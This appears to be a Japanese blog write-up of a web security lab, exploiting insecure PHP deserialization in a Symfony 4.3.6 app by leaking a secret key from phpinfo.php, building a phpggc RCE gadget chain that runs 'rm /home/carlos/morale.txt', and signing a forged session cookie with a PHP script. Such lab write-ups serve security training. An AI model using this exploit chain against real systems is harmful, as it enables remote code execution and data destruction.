Shikata Ga Nai

Private? There is no such things.

Exploiting PHP deserialization with a pre-built gadget chainをやってみた

Hello there, ('ω')ノ

 

事前に構築されたガジェットチェーンを使用したPHPデシリアライズの活用を。

 

ラボには、Cookieを使用するシリアル化ベースのセッションメカニズムがあって。

また、一般的なPHPフレームワークを使用して。

事前に構築されたガジェットチェーンを使用して安全でない逆シリアル化を 。

ラボを解決するには、ターゲットフレームワークを特定して。

ツールを使用して、悪意のあるシリアル化されたオブジェクトを生成して。

 

まずは、ログインして。

 

f:id:ThisIsOne:20210427090553p:plain


リクエストにあるCookieをデコーダへ。

 

f:id:ThisIsOne:20210427080845p:plain

 

まずは、URLでデコードして。

それからトークンをBase64でデコードすると。

トークンがシリアル化されたPHPオブジェクトであることが確認できて。

 

f:id:ThisIsOne:20210427081004p:plain

 

次にリクエストをリピータへ。

Cookieを変更してSendすると。

エラーメッセージからは、Symfony4.3.6フレームワークだと確認できて。

これは、デジタル署名が一致しなくなったために例外が発生したわけで。

 

f:id:ThisIsOne:20210427080727p:plain

 

開発者のコ​​メントは、下記にデバッグファイルの場所を開示していて。

 /cgi-bin/phpinfo.php.

 

f:id:ThisIsOne:20210427103446p:plain


なので、デバッグファイルをリピータへ。

 

f:id:ThisIsOne:20210427095204p:plain


Sendしてリクエスト内容からSECRET_KEYがわかって。

 mavra0l9v0igmd8wbyhb48xal0zlakgh

 

f:id:ThisIsOne:20210427095317p:plain

 

Kali Linuxで、phpgccをダウンロードして。

 git clone https://github.com/ambionics/phpggc.git phpgcc-official

 

ディレクトリを移動して。

下記のコマンドで、SymfonyのRCEガジェットチェーンを利用して。

Carlosのmorale.txtファイルを削除するBase64でエンコードした。

シリアル化されたオブジェクトの生成を。

 cd phpgcc-official

 ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

 

結果は、以下のとおりで。

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==

 

f:id:ThisIsOne:20210427082746p:plain

 

phpgccで生成したオブジェクトとSECRET_KEYを変数に割り当ててスクリプトを。

 

<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "mavra0l9v0igmd8wbyhb48xal0zlakgh";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>

 

f:id:ThisIsOne:20210427094924p:plain

 

phpスクリプトを実行すると有効な署名付きCookieが出力されるので。

 php exploit.php

 

f:id:ThisIsOne:20210427094816p:plain

 

Cookieを下記のように入れ替えてSendすると。

 

Cookie: session=%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22f918477c2a3c37adc28258312d006885791c7600%22%7D

 

f:id:ThisIsOne:20210427094605p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210427095344p:plain

 

Best regards, (^^ゞ